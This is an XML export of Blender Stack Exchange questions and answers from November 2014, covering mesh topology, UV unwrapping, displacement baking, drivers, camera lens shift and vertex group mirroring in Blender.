  <row Id="18636" PostTypeId="1" CreationDate="2014-11-08T00:33:43.403" Score="1" ViewCount="219" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iLify.png&quot; alt=&quot;Shading problem&quot;&gt;&lt;br&gt;&#xA;Why does this happen? What am I doing wrong. It looks horrible&lt;/p&gt;&#xA;" OwnerUserId="7881" LastEditorUserId="2217" LastEditDate="2014-11-08T00:38:44.837" LastActivityDate="2014-11-08T00:38:44.837" Title="I am having problems with how an object appears to be shaded?" Tags="&lt;mesh&gt;&lt;geometry&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18637" PostTypeId="1" AcceptedAnswerId="18638" CreationDate="2014-11-08T02:36:11.253" Score="5" ViewCount="1156" Body="&lt;p&gt;So, I just was trying to get back into blender, and I made &lt;a href=&quot;https://www.youtube.com/watch?v=ChPle-aiJuA&quot; rel=&quot;nofollow noreferrer&quot;&gt;a cup&lt;/a&gt;.  Unfortunately, this cup has some issues right at the bottom of the inside, and I can't figure out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the blend file &lt;a href=&quot;http://www.pasteall.org/blend/32675&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.  And just for good measure, here is a screenshot of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lJy9Y.jpg&quot; alt=&quot;cup with problem&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="12" LastEditDate="2014-11-08T03:40:14.600" LastActivityDate="2014-11-08T07:13:42.243" Title="What is causing pinching artifacts in this mesh?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18638" PostTypeId="2" ParentId="18637" CreationDate="2014-11-08T02:45:06.047" Score="4" Body="&lt;p&gt;That is caused from the triangle fan at the bottom of your cup, and the subdivision surface modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix it delete the vertices at the center of the bottom of the cup.&lt;br&gt;&#xA;Select the edge loop along the bottom, press &lt;kbd&gt;E&lt;/kbd&gt; to extrude then &lt;kbd&gt;S&lt;/kbd&gt; to scale it smaller. Repeat that three times, and for the last time scale to 0. Then remove doubles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it will look after extruding and scaling three times. This will give  acceptable results when using a subdivision surface modifier.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bLWYk.png&quot; alt=&quot;good topology&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="3401" LastEditDate="2014-11-08T07:13:42.243" LastActivityDate="2014-11-08T07:13:42.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18639" PostTypeId="1" AcceptedAnswerId="21021" CreationDate="2014-11-08T04:07:50.310" Score="6" ViewCount="549" Body="&lt;p&gt;I am baking a simple displacement from several Bezier curves. The curves are beveled and set to full. Whenever I bake the displacement map, I get several small errors. Here is the baked &lt;code&gt;.exr&lt;/code&gt; applied via a displace modifier to a heavily subdivided plane. Several of the baking errors are circled in the image below.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GPNIh.png&quot; alt=&quot;displacement map on a plane with errors&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the cause of the errors? What can I do to get rid of them during the baking process? Because I can not edit the image externally with out compression artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.pasteall.org/blend/33361&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;, just open and press bake.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-12-17T03:37:13.687" LastActivityDate="2018-05-17T18:01:44.773" Title="Small errors when baking displacement maps" Tags="&lt;image&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18640" PostTypeId="1" CreationDate="2014-11-08T05:08:01.330" Score="0" ViewCount="382" Body="&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: I found the merge checkbox on the array modifier (whoops.)  But the alignment problem is still interesting...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's say I'm following yet another tutorial from the blender Guru, how to create a &lt;a href=&quot;http://www.blenderguru.com/tutorials/create-a-spaceship-corridor-part-1-of-2/#.VFzPux-c3IE&quot; rel=&quot;nofollow noreferrer&quot;&gt;spaceship corridor&lt;/a&gt;.  This thing is a beast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we start with modeling a quarter of the ship, since it is all nice an symmetrical.  Like so:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vvMoq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We proceed to mirror it into something that looks a bit nicer: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/OPuFU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great!  Then, the guy simply adds a plain to act as the bottom.  Simple enough!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QLREw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And Viola!  We hit &lt;code&gt;CTRL + J&lt;/code&gt; and expect the the object to join that which is being mirrored.  Unfortunately, I can't seem to align it right.  I'm exaggerating for clarity, of course, but I get either: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BUkOs.png&quot; alt=&quot;enter image description here&quot;&gt; &#xA; or something like: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/c8XLZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to figure out a way to alight this in a reasonable amount of time so that the edges actually touch each other.  As you see, when I am seeing the &quot;Array&quot; modifier, it makes no effort to weld the pieces of the array together, instead just putting the &quot;pieces&quot; as close together as possible with no overlap.  Therefore, the floor has to be &lt;em&gt;exactly&lt;/em&gt; the same size as the original mirrored piece!  I can't seem to make this happen!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much to anyone who can tell me how this can be done properly!&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2015-03-14T12:40:37.337" Title="How to align object well enough to integrate into array modifier?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18641" PostTypeId="2" ParentId="18602" CreationDate="2014-11-08T08:28:24.127" Score="2" Body="&lt;p&gt;This tool doesn't seem to like &lt;a href=&quot;https://blender.stackexchange.com/q/89/599&quot;&gt;ngons&lt;/a&gt; (faces with more than four vertices).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you want to make the outer edge circular, instead you might try using &lt;em&gt;To sphere&lt;/em&gt;&lt;br&gt;&#xA;(&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H7AkX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you might try the bundled &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/LoopTools#Circle&quot; rel=&quot;nofollow noreferrer&quot;&gt;loops tools addon&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-11-08T08:28:24.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18642" PostTypeId="1" CreationDate="2014-11-08T09:42:39.320" Score="0" ViewCount="453" Body="&lt;p&gt;I'm making some models for a fighting game and recently I have a problem while texturing. When I unwrap my mesh, there are single faces which I didn't mark seam, and they are missing from the whole group. For example, I marked the character's foot bottom, but there are single faces that aren't connected to the mesh when I unwrap. I tried a lot of stuff, but I couldn't make it worked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This character in particular is an edited model from the first one I did, so i could then import the armature and have some commons moves in it, maybe I screwed up while modeling somehow? What seems to be the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to flip normals but it didn't changed a thing, in fact, they were fine already.&lt;/p&gt;&#xA;" OwnerUserId="7885" LastEditorUserId="3710" LastEditDate="2014-11-08T13:42:46.050" LastActivityDate="2014-11-08T17:45:05.123" Title="Blender 2.49b Mesh Unwrap Issue" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="18643" PostTypeId="1" AcceptedAnswerId="18694" CreationDate="2014-11-08T12:06:58.600" Score="2" ViewCount="278" Body="&lt;p&gt;I need to make a video where I take a movie file and add some of my own blender animation to it. Last time I did this I did the whole thing as a standard blender animation, with a &quot;screen&quot; object in my scene which had a video texture. I realise this is not optimal and that there are at least two better ways to do this: compositing or using the video sequence editor. I have not used either. My question is, what are the pluses and minuses of each of these ways? Can one say that either is easier than the other for a novice to pick up?&lt;/p&gt;&#xA;" OwnerUserId="7887" LastActivityDate="2015-07-19T13:48:47.427" Title="Compositing versus video sequence editor for combining video file with own animation" Tags="&lt;compositor&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18645" PostTypeId="1" AcceptedAnswerId="18735" CreationDate="2014-11-08T12:39:38.227" Score="7" ViewCount="6060" Body="&lt;p&gt;I'm using blender 2.72b x64 on windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a &lt;strong&gt;quick&lt;/strong&gt; way to render armature using f12 button. With shadows and everything. &quot;render armature&quot; means render geometry that is visible in viewports - boxes/octahedrons/sticks, depending on chosen visualization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only need to render still frames, no animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;OpenGL render image&quot; is not an option, because OpenGL render does not produce raytraced shadows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, this can be done by either somehow turning armature into renderable geometry or generating mesh from it via script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a built-in way to do it or ready to use script somewhere?&lt;/p&gt;&#xA;" OwnerUserId="7889" LastEditorUserId="55" LastEditDate="2015-04-26T15:54:06.167" LastActivityDate="2015-08-31T06:00:24.683" Title="Is it possible to render an armature?" Tags="&lt;rendering&gt;&lt;scripting&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18646" PostTypeId="1" CreationDate="2014-11-08T12:42:44.373" Score="3" ViewCount="557" Body="&lt;p&gt;I have downloaded Bioblender V0.6 and the pdb file of &lt;a href=&quot;http://www.rcsb.org/pdb/explore/explore.do?structureId=1ad4&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; molecule. The molecule contains two chains 'A' and 'B'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I check the &quot;hydrogen&quot; check box and import the pdb I get the following image:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dqEnN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I cannot see the hydrogens of this molecule. I would like that my molecule looks more like the picture that one can find on the homepage from Bioblender (see picture below). How can I achieve this?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QL7dv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I already mentioned, my molecule contains two chains 'A' and 'B'. I would like to visualize my molecule such that one can identify each chain, as for example in the following picture (found in this &lt;a href=&quot;http://www.bioblender.eu/Database/blender_zoppe_et_al3.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt;). How can I achieve this? &#xA;&lt;img src=&quot;https://i.stack.imgur.com/eCfdw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Mike Pan noted that I do not have hydrogens in my molecule. Therefore I tried &lt;a href=&quot;http://www.rcsb.org/pdb/ligand/ligandsummary.do?hetId=LNK&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; molecule with hydrogens in the pdb file. When I add it with Bioblender and check hydrogen, the molecule is represented in a very different style then the molecule from the Bioblender homepage - why is that?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xYUTC.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;I also tried to check Spacefill and I got the following result.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/b4dDO.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;However, the hydrogen looks far bigger then in the Bioblender image (second from top). I do not know how I can scale all hydrogens. In the outliner, they are not grouped.&lt;/p&gt;&#xA;" OwnerUserId="4889" LastEditorUserId="4889" LastEditDate="2014-11-10T16:30:13.563" LastActivityDate="2014-11-11T04:10:17.380" Title="How to make pictures in Bioblender" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18647" PostTypeId="1" AcceptedAnswerId="18653" CreationDate="2014-11-08T13:54:54.967" Score="4" ViewCount="1409" Body="&lt;p&gt;I have put a driver in the z rotation of an empty and made the variable a single property, where the path is the count in the array modifier.&lt;br&gt;&#xA;My expression is &lt;code&gt;360/variable&lt;/code&gt;. I see that the driver value is as expected, but the rotation of the object is not like the driver value. Why this is happening and how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wGRoD.png&quot; alt=&quot;driver with wrong rotation value&quot;&gt;&lt;br&gt;&#xA;The one with orange is right but the blue is wrong.&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="2217" LastEditDate="2014-11-08T16:42:02.840" LastActivityDate="2014-11-08T17:01:53.400" Title="Driver is not working as expected" Tags="&lt;transforms&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18648" PostTypeId="2" ParentId="18642" CreationDate="2014-11-08T14:06:15.457" Score="1" Body="&lt;p&gt;Part A) Assessment with Blender 2.7x. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i) here are all the areas that may need some more attention because they are all overlapping quads.  The entire texture will show up on every one of these quads as a tile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Icnlc.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ii) In the following area, there is a noticable overlap of the UV faces.  This tends to happen when there are non-planer poly's along a curved surface.  Separating this island into two pieces using a seam along the affected should help to clear this up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I5bHG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iii) The bottoms of the feet look like this for me(still have not checked 2.49b)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mk8Ny.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iv)  The spikes on the head are very long and cannot be unwrapped as a continuous piece without heavy stretching.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MGWmz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(v)  As a general guideline, I feel it helps to imagine the UV's as being made out of paper which has a picture printed onto it and since paper does not stretch, it's good to avoid stretching the UV's by marking seams at any sharp transitions.  I tend to mark seams at all 90 degree angles.&#xA;For a model that is roughly spherical shaped, I use the axis as guides to follow the 90 degree guideline&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sf6wX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(vi) The following image shows where some of these mysterious unmarked quads are coming from.  They are internal faces that I guess happened from repeated extrusion operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Jjih.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(vii) Now in the following image I have Unwrapped the model again after adding a few seams and deleting some hidden faces and there is just one little stray UV island and when it's selected, it reveals a part of the mesh that is a bit tangled and has an overlapping redundant quad that should be removed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GJzDo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(viii) Once you have a cleanly unwrapped model, it's a good idea to inspect the UV's by zooming in and panning around to check for problem areas that are not immediately obvious.  In the following image I've circled a quad that comes to a very sharp point.  This is certain to cause problems with baking.  Pixels from neighboring faces are probably going to bleed over the sharp tip and cause noticeable artifacts.  A vertex can be selected and manually moved over so the quad is more properly shaped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZlRYJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iv)  One other thing that helps to reduce UV mapping errors is to zoom out so the UV's are really small and verify that you can see a clear distinction between all of the islands.  When a model is far away from the view and rendered, the UV's will also be very small and the renderer will have a hard time mapping the texture to the proper coordinates.  This causes colors from one island to bleed over the edges of other islands, it shows the seams.  With normal maps it can be even worse because there will likely be some very noticeable flickering.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NiVlE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll post the repaired .blend file in the comments when it's ready.  I've baked an AO texture using Cycles to show the results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The baked map is being displayed using Blender Render(Internal)/GLSL Shadeless Material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1iDvn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-11-08T17:45:05.123" LastActivityDate="2014-11-08T17:45:05.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18649" PostTypeId="2" ParentId="18539" CreationDate="2014-11-08T15:10:38.870" Score="0" Body="&lt;p&gt;The playAction method simply executes the issued play directive, so the last issued is the one that plays.&lt;/p&gt;&#xA;" OwnerUserId="6355" LastActivityDate="2014-11-08T15:10:38.870" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18653" PostTypeId="2" ParentId="18647" CreationDate="2014-11-08T16:38:40.247" Score="6" Body="&lt;p&gt;That comes from the difference between degrees and radians. For some reason, the drivers evaluate rotation in &lt;em&gt;radians&lt;/em&gt; no matter what the  Units are set to in the Scene settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the expression working you have to convert radians to degrees. So your expression would be.&lt;br&gt;&#xA;&lt;code&gt;360/Array * 0.0174532925&lt;/code&gt; or &lt;code&gt;360/Array * pi/180&lt;/code&gt; or even shorter &lt;code&gt;pi*2/Array&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 0.0174532925 radians in 1 degree, so just multiply your expression by the difference between degrees and radians.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-11-08T17:01:53.400" LastActivityDate="2014-11-08T17:01:53.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18654" PostTypeId="1" CreationDate="2014-11-08T17:39:17.587" Score="11" ViewCount="1669" Body="&lt;p&gt;Why are the walls in my architectural renders sloping and how do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6aE9W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7894" LastEditorUserId="12" LastEditDate="2014-11-08T19:18:04.727" LastActivityDate="2014-11-09T20:00:23.610" Title="Why are straight lines sloping in render?" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18655" PostTypeId="2" ParentId="18654" CreationDate="2014-11-08T18:12:54.333" Score="17" Body="&lt;p&gt;The lens shift controls on the camera exist in Blender precisely to solve this problem. Photographers use tilt-shift lenses to do the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than rotating the camera upwards to the building, you can keep it pointing straight ahead, and increase the camera Y shift. This will preserve straight vertical lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good visualization of that is here:&#xA;&lt;a href=&quot;http://digitized-life.blogspot.com.es/2013/02/blender-26.html&quot;&gt;http://digitized-life.blogspot.com.es/2013/02/blender-26.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2014-11-08T18:12:54.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18656" PostTypeId="2" ParentId="16504" CreationDate="2014-11-08T18:54:41.173" Score="13" Body="&lt;p&gt;I'll show you the method that works for me.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Activate the &lt;strong&gt;'corrective shapekeys'&lt;/strong&gt; addon (file--&gt; user preferences--&gt; addons--&gt; corrective shapekeys). It can be reached from the 'object data' menu (under the 'vertex groups' header) by clicking the black 'down arrow'.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V91gc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;In 'weight paint mode' select the bone with the assigned weight and click &lt;strong&gt;'copy vertex group'&lt;/strong&gt; in the corective shapekeys addon menu.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PNUjZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Now you have a &lt;em&gt;thigh.L&lt;/em&gt; and the &lt;em&gt;thigh.L_copy&lt;/em&gt; in 'vertex groups'. With the original one selected, click on the padlock icon and lock it. Next select the copy and click the &lt;strong&gt;'mirror vertex groups (topology)'&lt;/strong&gt; option.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NGYXE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Rename the &lt;em&gt;thigh.L_copy&lt;/em&gt; to &lt;em&gt;thigh.R&lt;/em&gt;. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DufMs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Now clicking the bone on the left and then the bone on the right, you can see that both have individual weights assigned to them.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JpnXS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;The last thing is to assign the proper vertex groups to &lt;em&gt;thigh.R&lt;/em&gt; bone. Select &lt;em&gt;thigh.R&lt;/em&gt; bone and enter the 'edit mode' (TAB). Press A key to deselect everything and then press 'select' under 'vertex groups'. As you can see the right bone has assigned vertices that belong to the left one. We have to to remove it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lg98Y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;Unselect (B + mouse scroll) the vertices from the right side.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pnn45.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;8&quot;&gt;&#xA;&lt;li&gt;Remove the vertices from the left side by pressing 'remove' under 'vertex groups'.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iCMaC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;9&quot;&gt;&#xA;&lt;li&gt;Press A to deselect all and pres 'select' again. Now only the right side vertices are assigned to the right bone. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q6HTb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The left side weights and assigned vertices have been transfered to the right side.&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-05-17T11:07:29.710" LastActivityDate="2015-05-17T11:07:29.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18658" PostTypeId="1" AcceptedAnswerId="18659" CreationDate="2014-11-08T19:21:54.830" Score="10" ViewCount="16892" Body="&lt;p&gt;I want to know if there is a tool that I can use to inflate a mesh like a balloon or a cube or anything else. And the same question, just for deflate, so a cube goes in on itself (collapses).&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="241" LastEditDate="2014-11-08T19:36:25.577" LastActivityDate="2014-11-08T20:40:03.257" Title="Is there an Inflate/Deflate Mesh option in Blender?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18659" PostTypeId="2" ParentId="18658" CreationDate="2014-11-08T19:35:36.010" Score="15" Body="&lt;p&gt;Yes, the &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; (Shrink/Fatten) command will kind of &quot;inflate&quot; the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5gfS6.png&quot; alt=&quot;before&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BPBMS.png&quot; alt=&quot;after&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And using a negative value:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/77meo.png&quot; alt=&quot;negative deflate&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-11-08T19:35:36.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18660" PostTypeId="2" ParentId="18658" CreationDate="2014-11-08T20:40:03.257" Score="16" Body="&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/18659/12&quot;&gt;CharlesL's answer&lt;/a&gt; is the closest thing to what you ask but adding this as it can produce some interesting results. You could experiment with the &lt;em&gt;Simple Deform&lt;/em&gt; modifier set to &lt;em&gt;Stretch&lt;/em&gt; and adjust the factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6FdKy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jd0HA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-11-08T20:40:03.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
